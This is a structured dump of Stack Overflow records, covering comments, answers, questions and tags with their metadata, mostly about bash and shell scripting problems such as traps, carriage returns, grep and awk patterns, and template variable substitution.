type: AnswerComment

http://stackoverflow.com/comment/135796509
comment on: http://stackoverflow.com/q/77031226
score: 3
type: QuestionComment
type: Comment
has text: Just place `trap` directive line **before** running your `put_archive` function!! Otherwise, if your function `fail`, your `fail` function will **`exit`** your script without executing `trap` directive.

http://stackoverflow.com/comment/135707817
score: 0
has text: (...the thing that makes that distinction important is that all even though data passes through a pipeline left-to-right, all the parts of that pipeline are started in parallel, which means that the output file is typically opened _before_ an executable in the middle of the pipeline has started processing any data at all; so there are real difficulties involved if the middle of a pipeline needs to set an output file name -- but you don't actually have that problem at all in the question described here).
comment on: http://stackoverflow.com/q/76980350
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77034545
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77032180
downvote count: 0
upvote count: 1
has body: From this line of output in your question: declare -a tableau=([0]=$'wsout-YDDEzn2h9Y9fJERB\r' [1]=$'wsout-CYzpWK2uMDGFn9Yr\r' [2]=$'wsout-RroeVzLsv6PxJ56A\r' [3]="wsout-8ts3sHe7NsE46mN6") we can see that all of your IDs except the last one contain Carriage Returns (represented by \r), get rid of those. That's why only the last ID works and why when you hand-coded a list of IDs it also worked. I can't use your URLs as they require the TOKEN in your code to be populated so here's the difference using example.com. With a trailing CR: $ url=$'https://www.example.com/index.html\r' $ curl -s "$url" we get no output while without a trailing CR: $ url=$'https://www.example.com/index.html' $ curl -s "$url" | head -3 we get the expected output. I can't tell where the \r is coming from but I suspect it was added by whatever editor you used to create your code or, more likely, whatever created the file stateVersion.json you mentioned in a previous iteration of your question. See Why does my tool output overwrite itself and how do I fix it? for more information on CRs and how to remove them.
accepted answer of: http://stackoverflow.com/q/77032180
type: Answer

http://stackoverflow.com/comment/135815885
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77042018
has text: @dragonLOLz : Good point: Since you need to loop over both files, you indeed need a counting loop. I will edit my answer accordingly.
score: 0

http://stackoverflow.com/comment/135589777
comment on: http://stackoverflow.com/q/76913434
type: Comment
has text: @EdMorton this worked if "$JIRA_DESCRIPTION" = '""'
score: 1
type: QuestionComment

http://stackoverflow.com/a/76964303
type: Answer
has body: echo ' ## START :: start of file ## path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ # path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ ## END :: end of file ##' awk '_&lt;($!NF = $2)' FS='@' mysite.mw_path mysite.mw_brkr_path mysite.mw_path mysite.mw_brkr_path
answers question: http://stackoverflow.com/q/76945139
score: 0

http://stackoverflow.com/comment/135753355
has text: As usual, I would separate a complicated problem into separate sub-problems which can be solved independently: First, take your files and bring them into historically correct order. The result of this step should ideally be an array of file names, but if the filenames don't contain newline characters, it could also be a file, holding one filename per line. The second step would be to take the ordered list of names and rename them according to your new naming strategy.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77006747

google-chrome-devtools
tags question: http://stackoverflow.com/q/77028902
type: Tag
tag name: google-chrome-devtools

http://stackoverflow.com/comment/135696702
score: 0
has text: Please show the code you tried and describe what it did instead of the expected result.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76974809

http://stackoverflow.com/comment/135605733
has text: Haha! At the time I mentioned Windows in my answer, I didn't know you're doing this on Windows. I just mentioned it as an aside, like, hey, though we are using a wrapper for the `nftw` function, this works on Windows, too.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76903882

http://stackoverflow.com/comment/135704652
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76978545
type: Comment
has text: thanks, , "timeout -s KILL --preserve-status 10 sudo df -hTP" this works for me

http://stackoverflow.com/a/76990444
has body: "... I want to look after if ALP_ACCT_PROD_ID occurs only after the word WHERE then only it should print it. ..." Use the -E switch, to interpret the pattern as an "extended regular expression". This will assert that if the value contains "ALP_ACCT_PROD_ID", it must be preceded by any number of characters, and the text, "WHERE". grep -E 'WHERE\s+.+\s+ALP_ACCT_PROD_ID'
type: Answer
answers question: http://stackoverflow.com/q/76986443
score: 0

http://stackoverflow.com/comment/135765893
comment on: http://stackoverflow.com/a/77013286
type: Comment
type: AnswerComment
score: 0
has text: OP wants all `var(n)` in their separate object.

http://stackoverflow.com/comment/135821186
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77038582
type: QuestionComment
has text: isnt jq a tool for json content? I dont know it honestly.

http://stackoverflow.com/comment/135588927
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76913085
has text: Hi and welcome to Stack Overflow. Could you [edit] your question and show us the content of the real files (type the content between two sets of three back-ticks)? The tables you show raise more questions than answers. Be aware that a lot of users of this platform require detailed specifications before they can answer.

http://stackoverflow.com/comment/135702484
comment on: http://stackoverflow.com/a/76974912
type: Comment
score: 0
type: AnswerComment
has text: Then you can redirect output in separate files and tail the files separately in separate window

http://stackoverflow.com/comment/135735355
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76996572
has text: When I used to have to mess with this sort of thing, hard links only worked on the same local file system, and if I wanted a link to something that was nfs mounted (for instance), I had to use sim-links. I don't think that has changed, but that was Sun, 20 yrs ago (-;! Good luck to all.

http://stackoverflow.com/comment/135811771
type: AnswerComment
type: Comment
score: 0
has text: ruby has [rexml](https://ruby.github.io/rexml/doc/rexml/tutorial_rdoc.html) in its stdlib e.g. `ruby -r rexml/document -e 'tag = REXML::Document.new(ARGF).get_elements("//testng-results").first.attributes; p tag["passed"].to_f / tag["total"].to_f' file.xml`
comment on: http://stackoverflow.com/a/77039367

http://stackoverflow.com/comment/135555345
comment on: http://stackoverflow.com/q/76893700
type: QuestionComment
has text: I would also add a newline after the `then`, but that's a matter of style, not necessity.
type: Comment
score: 0

http://stackoverflow.com/comment/135759861
has text: I can confirm that source ./.broken_file does work
score: 1
comment on: http://stackoverflow.com/a/77010188
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135805600
type: QuestionComment
comment on: http://stackoverflow.com/q/77032828
score: 0
type: Comment
has text: FWIW, it's `"newbie"` (or just `NB`), not `"nooby"`. Welcome to StackOverflow.

http://stackoverflow.com/comment/135810772
score: 0
comment on: http://stackoverflow.com/a/77039367
type: Comment
has text: Tried xidel in the shell step, however, doesn't look like it is available sh: 10: xidel: not found
type: AnswerComment

http://stackoverflow.com/comment/135656973
has text: Try **rich** instead of ugly ANSI codes https://pypi.org/project/rich/
comment on: http://stackoverflow.com/q/76952166
type: QuestionComment
score: 2
type: Comment

oauth
tags question: http://stackoverflow.com/q/77009944
type: Tag
tag name: oauth

http://stackoverflow.com/a/77048783
score: -1
answers question: http://stackoverflow.com/q/77048492
upvote count: 0
has body: It is clearly documented that the return value of subprocess.run is a subprocess.CompletedProcess object. Perhaps in the examples you've seen, the code is not interested in checking the standard output of that subprocess, which is why it is never accessed. You haven't provided any examples, so we can only guess.
downvote count: 1
type: Answer

http://stackoverflow.com/a/77015942
has body: After many tries i finally made it work. This is how it works for me: sh 'mvn build-helper:parse-version versions:set -DnewVersion=\\\${parsedVersion.majorVersion}.\\\${parsedVersion.nextMinorVersion}.0\&quot;$\&quot;\$\\{revision\\}\&quot;$\&quot;\$\\{sha1\\}\&quot;$\&quot;\$\\{changelist\\} versions:commit'
type: Answer
answers question: http://stackoverflow.com/q/77014035
score: 0
accepted answer of: http://stackoverflow.com/q/77014035
type: AcceptedAnswer

http://stackoverflow.com/comment/135555328
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76893700
has text: The first error was that you need a semicolon (`;`) or newline between the condition and the `then`. You seem to have recognized that. The second issue is that you have an unmatched opening brace (`{`) in your script. Possibly the `$` in "`echo$`" was meant to be a closing brace instead, but making it one would not solve the problem. Instead, just delete the `{` and the `$`.

http://stackoverflow.com/comment/135706638
comment on: http://stackoverflow.com/q/76980350
score: 0
type: QuestionComment
has text: What part of this involves "the middle of the pipe" deciding what the final name will be, and why do you need to do that then vs deciding before the output file is created?
type: Comment

http://stackoverflow.com/a/77027440
downvote count: 0
answers question: http://stackoverflow.com/q/77027254
upvote count: 1
type: Answer
has body: You can first use grep -oP to extract the varnames and save them into a bash array. Then you check that they all exist in the environement. Then you export them and call a program like envsubst to process the template. note: You'll still have to make sure that the added content doesn't break your JSON. #!/bin/bash readarray -t varnames < <( LANG=C grep -oP '(?<=\$\{)[[:alpha:]_][[:alnum:]_]*(?=})' tmpl_single.tmpl | sort -u ) for ref in "${varnames[@]}" do [[ ${!ref:+1} ]] || { printf 'environment variable %s is not defined\n' "$ref" >&2 exit 1 } done ( export "${varnames[@]}" envsubst < tmpl_single.tmpl )
score: 1

http://stackoverflow.com/comment/135835873
comment on: http://stackoverflow.com/a/77052639
score: 2
type: Comment
type: AnswerComment
has text: (BTW, personally, I strongly advise using [Nix](https://nixos.org/) in place of Homebrew; in the Homebrew world you end up with a directly user-writable location that multiple users can access, making it easy for malware to persist itself; in a multi-user Nix installation, by contrast, only the Nix daemon can write to `/nix/store` locations, and a user only gets a hash associated with a store location when they deliberately attempt to reference the build instructions used to compile a piece of software; so if one user installs a poisoned copy of bash with Nix, it's only poisoned _for them_)

gnu-findutils
tag name: gnu-findutils
tags question: http://stackoverflow.com/q/76990480
type: Tag

http://stackoverflow.com/comment/135809433
comment on: http://stackoverflow.com/q/77038582
type: QuestionComment
type: Comment
score: 1
has text: `sed` is not the right tool for the job

http://stackoverflow.com/comment/135644025
has text: @Grobu It looks good, but still not in one line. Thanks for the efforts.
comment on: http://stackoverflow.com/q/76944879
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135652934
has text: Thanks, I understand the cause of problem. Is there any way to do overcome this? source and generate file at once?
comment on: http://stackoverflow.com/a/76942856
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135810993
score: 0
has text: thank you. that is my problem is how to store it as output. im not bash/scripting expert...have been trying this ```output = $(docker compose --env-file .env --env-file "${1}" build)```, but i get the error ```".\build.sh: line 5: output: command not found"```
comment on: http://stackoverflow.com/a/77039474
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135805539
has text: What shell are you running? Is `/system/bin/sh` bash? Does your version of `time` have the `-o` option?
score: 0
comment on: http://stackoverflow.com/q/77036222
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77055267
linked to: http://stackoverflow.com/q/10067266
answer count: 0
has comment: http://stackoverflow.com/comment/135840750
has comment: http://stackoverflow.com/comment/135839940
has title: Adding downloaded file to a directory through the terminal
duplicate of: http://stackoverflow.com/q/41871596
duplicate of: http://stackoverflow.com/q/1983048
has comment: http://stackoverflow.com/comment/135842843
score: 0
type: Question
tagged with: shell
has body: I've been asked to download a .txt file then add it to a directory. The .txt file is in my downloads, but now I need to add it to my directory. How would I do that? "Download the declaration.txt Add the file to your OS system to the fileProcessing directory." I've tried this: for file in ~/Downloads/Declaration of Independence .txt do mv $file ~/fileProcessing done
duplicate of: http://stackoverflow.com/q/10067266
type: UnansweredQuestion

http://stackoverflow.com/comment/135759912
comment on: http://stackoverflow.com/a/77010188
type: Comment
has text: Is there an easy way to check if there is something in the path with the same name? Type returns very weird, I've updated the question. Does type return the resolution in the path?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135730592
comment on: http://stackoverflow.com/q/76993557
score: 0
has text: @Fravadona i need whole file ,
type: QuestionComment
type: Comment

busybox
tags question: http://stackoverflow.com/q/76979463
tag name: busybox
type: Tag
tags question: http://stackoverflow.com/q/78255611
tags question: http://stackoverflow.com/q/78421980
tags question: http://stackoverflow.com/q/78654438
tags question: http://stackoverflow.com/q/78803294
tags question: http://stackoverflow.com/q/79034013
tags question: http://stackoverflow.com/q/79401536
tags question: http://stackoverflow.com/q/79528325

http://stackoverflow.com/comment/135757343
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77009102
has text: (and looking at lein's wrapper, it's a mess -- sometimes creating a `TRAMPOLINE_FILE` it executes itself, in which case you need to plumb the `-a` usage into the last call in a chain of wrappers calling wrappers; which is to all to say that my personal assessment here is that the juice isn't worth the squeeze, particularly if you want to keep preexisting wrapper features like the ability to honor a `JAVA_CMD` environment variable to select the JVM to use).
type: Comment

http://stackoverflow.com/comment/135650216
type: Comment
has text: When you say "a shell script" -- a script you _source_, or a script you _run as a subprocess_? The latter can't change the settings of your interactive shell even for a moment.
type: QuestionComment
comment on: http://stackoverflow.com/q/76944076
score: 0

colors
tag name: colors
tags question: http://stackoverflow.com/q/76952166
type: Tag
tags question: http://stackoverflow.com/q/78372273
tags question: http://stackoverflow.com/q/78788240
tags question: http://stackoverflow.com/q/79052124
tags question: http://stackoverflow.com/q/79097649
tags question: http://stackoverflow.com/q/79239987

docking
tag name: docking
tags question: http://stackoverflow.com/q/76982715
type: Tag

http://stackoverflow.com/comment/135598547
has text: @lyricallywicked Thanks for bringing this important issue to my attention. The installer will request the privilege level `highest` from now on, so that for admin users it will do the escalation, but for non-admin users it won't. In unprivileged mode, the default installation path will be altered to the user's local AppData directory, and the local PATH will be manipulated in the HKCU hive of the registry rather than HKLM. I might re-issue the installers for TXR 291 with these changes or wait until 292.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76908265

http://stackoverflow.com/comment/135634946
has text: I think you need `${a:+$a$'\n'}`. double-quotes are required for `echo` but not the assignments
comment on: http://stackoverflow.com/a/76939930
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135743242
has text: Thank you I was not aware, I updated accordingly.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76993432
type: QuestionComment

http://stackoverflow.com/comment/135731781
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76993801
has text: This script turns multi-line text into a one-line text. I don't understand then...what exactly does this script have to do?

http://stackoverflow.com/a/77029435
has comment: http://stackoverflow.com/comment/135796544
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77027254
has body: Using Bash + TXR: $ ./check.sh tmpl_single.tmpl variable VARIABLE_1 doesn't exist variable VARIABLE_3 doesn't exist Code in check.sh: #!/bin/bash VARIABLE_2=abc # make VARIABLE_2 exist, for testing eval $(txr -B -c \ '@(collect) @(coll :vars (VAR))${@{VAR /[_a-zA-Z0-9]+/}}@(end) @(end) @(flatten VAR)' "$@") for V in ${VAR[@]}; do if [ -z "${!V+x}" ]; then printf "variable %s doesn't exist\n" $V fi done Txr -B outputs variable bindings in shell assignment format, with proper escaping.List variables become array assignments like VAR[0]=VARIABLE_1, which gets us the variables in a Bash array. An improvement would be to remove duplicates, since variables could occur in a template more than once.

io
tags question: http://stackoverflow.com/q/76996212
type: Tag
tag name: io
tags question: http://stackoverflow.com/q/79367137

fswatch
type: Tag
tags question: http://stackoverflow.com/q/76916410
tag name: fswatch
tags question: http://stackoverflow.com/q/78882456

http://stackoverflow.com/a/77042018
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135815885
answers question: http://stackoverflow.com/q/77041956
type: Answer
has comment: http://stackoverflow.com/comment/135815693
has comment: http://stackoverflow.com/comment/135815677
has comment: http://stackoverflow.com/comment/135815716
has comment: http://stackoverflow.com/comment/135815868
has comment: http://stackoverflow.com/comment/135815633
has comment: http://stackoverflow.com/comment/135815795
has body: Basically your algorithm is reasonable. The problem is in building the array test_names. The result of the grep is something like @test foo @test bar ... which populates your array with ( @test foo @test bar .... ) while you need only ( foo bar ... ) You did not tell us the syntax of your test names, but if you can guarantee, that the names themselves don't have imbedded white space, you could do a test_names=( $(grep -Eo '@test +[^ ]+' $test_file | tr -s ' ' | cut -f 2 -d ' ' ) The tr replaces each run of spaces by a single space, which is necessary for cut to find the second field. UPDATE If the test name can contain any character, i.e. stretches from the first non-blank character after @test up to the end of the line, we can do a readarry -t test_names < <(grep @test "$test_file" | sed 's/--@test *//')
upvote count: 1

http://stackoverflow.com/comment/135661343
type: QuestionComment
comment on: http://stackoverflow.com/q/76954855
score: 1
has text: Always first test your (broken) scripts to https://shellcheck.net before asking here. `cd..` should be `cd ..`
type: Comment

http://stackoverflow.com/comment/135728320
score: 3
has text: As the [tag:bash] tag you used instructs - "For shell scripts with syntax or other errors, please check them at https://shellcheck.net before posting them here."
type: QuestionComment
comment on: http://stackoverflow.com/q/76992379
type: Comment

http://stackoverflow.com/a/76939972
downvote count: 0
upvote count: 1
has body: var=$( echo "string1"; echo "string2" )
has comment: http://stackoverflow.com/comment/135640331
has comment: http://stackoverflow.com/comment/135652020
has comment: http://stackoverflow.com/comment/135652015
type: Answer
has comment: http://stackoverflow.com/comment/135634980
has comment: http://stackoverflow.com/comment/135635045
score: 1
has comment: http://stackoverflow.com/comment/135636832
answers question: http://stackoverflow.com/q/76939782

http://stackoverflow.com/comment/135684525
type: Comment
comment on: http://stackoverflow.com/q/76968448
score: 0
has text: Can you modify script1 to print the value to stdout, and catch the output in a Jenkins variable? Another possibility would be to have script1 write this value to a file and read the file in script2. Or is it really necessary that script1 decides on its own, how the tarball is named? Maybe you can define a file path for it inside your Jenkins task and pass that name to script1 and script2.
type: QuestionComment

http://stackoverflow.com/comment/135573979
score: 4
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76903882
has text: Your use of `find` should not care about spaces in file or directory names. A possible reason, that has nothing to do with spaces, would be that some files or directories appear/disappear during the search. Does the content of `path/to/directory` change during the execution of `find`?

http://stackoverflow.com/comment/135555123
comment on: http://stackoverflow.com/q/76893303
has text: Sounds like you may actually want `comm` and not `diff` at all. It's much, **much** faster and more memory-efficient, too -- doubly so if your input files are pre-sorted, in which case it becomes O(n+m) time and O(1) memory (`comm` requires sorted input, so if your inputs aren't sorted, you end up with `comm -23 <(sort </tmp/a) <(sort </tmp/b)` -- which still has better worst-case performance than `diff`). See [BashFAQ #36: *How can I get all lines that are: in both of two files (set intersection) or in only one of two files (set subtraction)?*](https://mywiki.wooledge.org/BashFAQ/036)
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135772902
score: 1
type: QuestionComment
type: Comment
has text: Interactive shells have this behavior with job control enabled. Shell scripts and interactive shells with job control disabled generally won't have a problem continuing after an executed command receives SIGINT. Basically this behavior exists so you can press e.g. CTRL+C and regain control of your interactive shell even if you have commands "queued" versus having to mash the keys over and over.
comment on: http://stackoverflow.com/q/77016713

http://stackoverflow.com/comment/135826239
comment on: http://stackoverflow.com/q/77046907
type: QuestionComment
has text: Try cloning database : https://docs.oracle.com/cd/E24628_01/em.121/e27046/cloning_database.htm#EMLCM93230
score: 0
type: Comment

aws-code-deploy
tag name: aws-code-deploy
tags question: http://stackoverflow.com/q/76970324
type: Tag

http://stackoverflow.com/comment/135768935
score: 0
comment on: http://stackoverflow.com/a/77013185
has text: [jqplay.org for solution.](https://jqplay.org/s/M1Axj7XGM4r)
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135594933
score: 3
has text: Why did you tag this `bash` when you're using `#!/bin/zsh`? I just spent several minutes searching the Bash Manual for `(@f)`.
type: QuestionComment
comment on: http://stackoverflow.com/q/76916410
type: Comment

wayland
tags question: http://stackoverflow.com/q/76907867
tag name: wayland
type: Tag

http://stackoverflow.com/comment/135652020
comment on: http://stackoverflow.com/a/76939972
score: 1
type: Comment
type: AnswerComment
has text: @Cyrus: yes. That solves that case.

http://stackoverflow.com/comment/135759830
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77009623
type: Comment
has text: @shellter added the information

http://stackoverflow.com/comment/135560721
type: QuestionComment
score: 2
has text: See [Bash Pitfall #6: `[ "$foo" = bar && "$bar" = foo ]`](https://mywiki.wooledge.org/BashPitfalls?highlight=%28errexit%29#A.5B_.22.24foo.22_.3D_bar_.26.26_.22.24bar.22_.3D_foo_.5D) (it's about `&&`, but `||` works exactly the same).
comment on: http://stackoverflow.com/q/76896657
type: Comment

http://stackoverflow.com/comment/135798184
score: 0
has text: How would I grab the command output to stdout? Also, I do not want the commands to see a terminal. I do not think this is related.
type: QuestionComment
comment on: http://stackoverflow.com/q/77031983
type: Comment

http://stackoverflow.com/comment/135595557
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76916410
type: Comment
has text: Well @Shawn, that's part of the learning process. If I make a mistake in the design of the question, it's good to be correct. I didn't know every detail, that's why I am seeking for help since there are knowledgeable people here willing to help.

http://stackoverflow.com/comment/135674902
type: QuestionComment
type: Comment
has text: It looks that you show a piece of code not related in any way to the (secret) script. You do not call it from the shown code. What does the respective script do? If you really need help, please, edit your question and show its code. Then, you are also talking about a "separate procedure to run Shell commands", (also secret) which works. Without seeing what these codes do and correlate somehow the issues between each other, I am afraid that nobody can help. You need to supply a **reproductible example**...
comment on: http://stackoverflow.com/q/76962672
score: 1

http://stackoverflow.com/comment/135723727
has text: @sachinbm I'm sure it's possible to develop a fragile and brittle solution using sed and awk, but why would you want to do that when a tool specfically for handling yaml exists? How will your sed/awk solution handle inputs such as `{"testing":{"working":[{"aaa":"daa"},{"bbb":"rrr"}],"maintaining":[{"eee":"dhhaa"},{"fff":"ffdaa"}]}` (still valid yaml and yq will handle that perfectly)
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76975128

http://stackoverflow.com/comment/135806070
has text: I also don't understand, why you tagged the question as _zsh_, when you are using _bash_.
score: 2
comment on: http://stackoverflow.com/q/77036497
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135813605
type: Comment
has text: It's commendable that you want to share a solution, but (a) your question is unclear and (b) the code in your answer is broken.
type: AnswerComment
comment on: http://stackoverflow.com/a/77038337
score: 0

http://stackoverflow.com/a/77037389
has comment: http://stackoverflow.com/comment/135819058
answers question: http://stackoverflow.com/q/77037291
has body: Here a possibile solution: #!/bin/bash YOUR_COMMAND_OUTPUT=$(cat << EOF V04.01 V04.01 V04.02 EOF ) UNIQUE_LINES=$(echo "${YOUR_COMMAND_OUTPUT}" | sort | uniq) JOINED_STRING=$(echo ${UNIQUE_LINES} | sed "s/ /, /g") echo ${JOINED_STRING} The output is: V04.01, V04.02 PS: in order to reproduce your script output I introduced the YOUR_COMMAND_OUTPUT instruction whoch you have to replace with your real script.
downvote count: 0
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135807299
has comment: http://stackoverflow.com/comment/135819244

http://stackoverflow.com/comment/135760076
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77009623
has text: BTW, is `DIFFERENT_FOLDER` really a relative path? That's weird. Maybe you have a typo in your `PATH` variable.

http://stackoverflow.com/comment/135734624
has text: I should say that both `find` and `xargs` are provided in Rtools on windows, and native to linux/macos.
score: 0
comment on: http://stackoverflow.com/q/76996212
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135589908
type: Comment
comment on: http://stackoverflow.com/a/76892746
type: AnswerComment
has text: Checking for word boundaries by \b is not guaranteed to be understood by plain grep, and I suggest that you also specify the -E flag for portability. Also the last[[ `if` can be written simpler as `if [[ ${choice:-y} == y ]]; then `
score: 0

http://stackoverflow.com/comment/135728255
type: Comment
type: AnswerComment
has text: or `while read line || -n $line ; do`
comment on: http://stackoverflow.com/a/76992602
score: 4

http://stackoverflow.com/comment/135705142
type: Comment
comment on: http://stackoverflow.com/q/76979463
type: QuestionComment
has text: yes, i found a possible solution, but in bash, and im limited to busybox ash https://unix.stackexchange.com/questions/345383/netcat-respond-to-client-w-their-ip
score: 0

http://stackoverflow.com/comment/135815795
type: AnswerComment
score: 0
has text: also is it possible to index the second file while i use the ` for i in "${test_names[@]}" ` syntex
type: Comment
comment on: http://stackoverflow.com/a/77042018

http://stackoverflow.com/comment/135573505
comment on: http://stackoverflow.com/q/76903882
type: QuestionComment
score: 2
type: Comment
has text: I think you have not posted the **full** error message. Error messages usually start with the name of the program, followed by a colon, for instance `bash:` or `find:`. We don't even know from your posting, whether bash or find is producing the error message!

http://stackoverflow.com/comment/135644448
has text: how are we passing the file here to read the line?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76945473

http://stackoverflow.com/a/77013185
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/77012572
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/135768935
has body: A simple solution is readily obtained if the following stream-oriented "coalesce" function is used: # s is assumed to be a stream of objects for which # the values for each distinct key are summable. # Output: a single object formed by adding # the $v values of each distinct key. def coalesce(s): reduce (s | to_entries[]) as {key: $k, value: $v} ({}; .[$k] += $v); The solution is now simply: coalesce(to_entries[] | .key as $key | .value[] | {(.name): {($key): .value}}) | {output: [.]}

http://stackoverflow.com/comment/135845816
has text: @Thomas: OK fair enough: the [POSIX](https://pubs.opengroup.org/onlinepubs/007904875/utilities/set.html) page for `set` explains it, but it's pretty opaque. Basically `set one two three` sets the positional parameters `$1`, `$2` etc to (in this case) `one`, `two` and `three`. That's why you see `$@` and `$*` in the output - these expand to show all of `$1`, `$2` etc, and in this case `$1` is being set to `GITHUB_ENV_var=1`.
score: 2
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77058674

http://stackoverflow.com/comment/135845677
type: Comment
type: AnswerComment
has text: No, that doesn't explain my problem.
comment on: http://stackoverflow.com/a/77058674
score: 0

http://stackoverflow.com/comment/135741290
comment on: http://stackoverflow.com/q/76944076
score: 0
type: QuestionComment
has text: @CharlesDuffy I'm afraid I don't know enough about CLI's to answer if it runs as a _source_ or _subprocess_. What i can tell you is that the script is part of a pipeline and is compiled to run on a server which then connects to the _target server_ to actually do stuff that's written in the script
type: Comment

http://stackoverflow.com/comment/135697865
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76974912
has text: I guess the OP wants to have different terminal windows, so that he can follow in parallel the output of the individual `make` commands.
score: 0

http://stackoverflow.com/comment/135738152
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76943887
score: 0
has text: Could you please post more code snippets so that we can try to reproduce this problem on our side?

http://stackoverflow.com/comment/135771017
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/77016713
has text: `( trap 'echo "Finished execution"' EXIT; sleep 100; )` will execute the trap, no matter which way the (sub)shell exits, e.g. after a `SIGINT`. You can `trap` on `INT` or other signals specifically (to do something special in those cases), except `KILL` and `STOP`, of course. There are also non-signal events you can `trap`, like `EXIT` and `RETURN` in case of functions.

http://stackoverflow.com/comment/137304782
score: 0
type: Comment
has text: while i am looking for a POSIX solution as mentioned in my question, thanks for this bash option
comment on: http://stackoverflow.com/a/77710690
type: AnswerComment

http://stackoverflow.com/comment/135839940
score: 0
has text: This is not a programing question.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77055267

http://stackoverflow.com/a/77028857
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77027025
has body: You should add quotes to the $tf_plan variable, otherwise bash will print the variable content without the newlines, causing the grep to treat it as an entire line and match everything. if $drift_check -ge 1 then echo "Drift detected in environment $i" printf "%s:%s" "$i" "`echo "$tf_plan" | grep -E 'to add|to change|to destroy'`" # <-- tf_plan quoted here else echo "No drift detected in environment $i" printf "%s:%s" "$i" "`echo "$tf_plan" | grep -E 'No changes'`" fi
score: 0
accepted answer of: http://stackoverflow.com/q/77027025
has comment: http://stackoverflow.com/comment/135803272
type: Answer
has comment: http://stackoverflow.com/comment/135804773

http://stackoverflow.com/a/76963855
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76963662
score: 2
accepted answer of: http://stackoverflow.com/q/76963662
downvote count: 0
has body: How about saving stderr to a file for later consumption by your function: errFile=$(mktemp) || exit trap 'rm -f "$errFile"; exit' 0 subErr(){ cat "$errFile" exit 1 } BLOB=$(some long command 2>"$errFile") || subErr You could redirect all stderr to the same file with exec 2>"$errFile" so you don't need to add that to each command call but idk if you want to do that for all stderr output. Alternatively, see redirect-stderr-and-stdout-to-different-variables-without-temporary-files where I particularly like: { IFS= read -rd '' err IFS= read -rd '' out IFS= read -rd '' status } < <({ out=$(ls /dev/null /x); } 2>&1; printf '\0%s' "$out" "$?") which you'd have to massage to suit your needs.
type: Answer
upvote count: 2

http://stackoverflow.com/comment/135773487
score: 0
comment on: http://stackoverflow.com/a/77010843
type: Comment
type: AnswerComment
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/255130/discussion-between-lord-ofthering-and-markp-fuso).

http://stackoverflow.com/comment/135794064
has text: It would be much safer to use `jq` -- which natively understands JSON and knows how to quote strings to be `eval`-safe -- instead of `sed`. And we have existing answered questions here that show how to use jq to expand variables in JSON while ensuring that the results are escaped back to valid JSON syntax.
comment on: http://stackoverflow.com/q/77027254
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135595279
type: Comment
has text: I will do that in a second.
type: AnswerComment
comment on: http://stackoverflow.com/a/76916586
score: 0

http://stackoverflow.com/a/76934053
